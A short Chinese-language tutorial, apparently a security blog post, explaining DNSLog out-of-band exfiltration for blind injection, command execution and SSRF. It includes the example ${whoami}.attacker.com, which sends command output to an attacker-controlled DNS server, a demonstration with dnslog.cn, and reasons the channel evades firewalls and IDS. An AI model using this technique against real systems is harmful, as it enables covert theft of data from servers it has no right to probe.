实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
DNSLog 外带信息是一种利用 DNS 协议特性,将目标系统中的敏感数据或漏洞验证结果“悄悄”传输到攻击者控制的服务器的技术。它并非传统意义上的“漏洞”,而是一种攻击手法或数据回传通道,常用于无回显的盲注、命令执行或 SSRF 等场景。
1、核心原理
攻击者首先注册一个可控域名(如 attacker.com),然后诱使目标服务器向该域名的子域名发起 DNS 查询请求。例如,构造请求 ${whoami}.attacker.com,目标服务器在执行命令时会尝试解析这个域名,从而将命令执行结果(如 root)作为子域名的一部分发送到攻击者的 DNS 服务器。攻击者只需查看 DNS 日志,即可获取目标服务器返回的数据。
为什么能绕过防御
- 防火墙放行:企业网络通常允许内网主机发起 DNS 查询(UDP 53 端口),因为这是系统基础服务,而对 HTTP 出站、文件读取等行为则有严格策略。
- 隐蔽性高:DNS 流量是正常的网络活动,难以被 IDS/IPS 发现。
- 无状态协议:DNS 基于 UDP,是无连接的,追踪和检测更加困难。
2、实际操作验证
我们可以使用 http://dnslog.cn/ 的功能,先生成一个域名:

然后访问:
text.s8mnt3.dnslog.cn
在点击 Refresh Record:

text 这个信息就被外带出来了,如果是目标机访问 s8mnt3.dnslog.cn ,我们想办法让目标服务器拼接 ${我想知道的有关目标的信息}.s8mnt3.dnslog.cn ,便可以外带目标的有用信息了。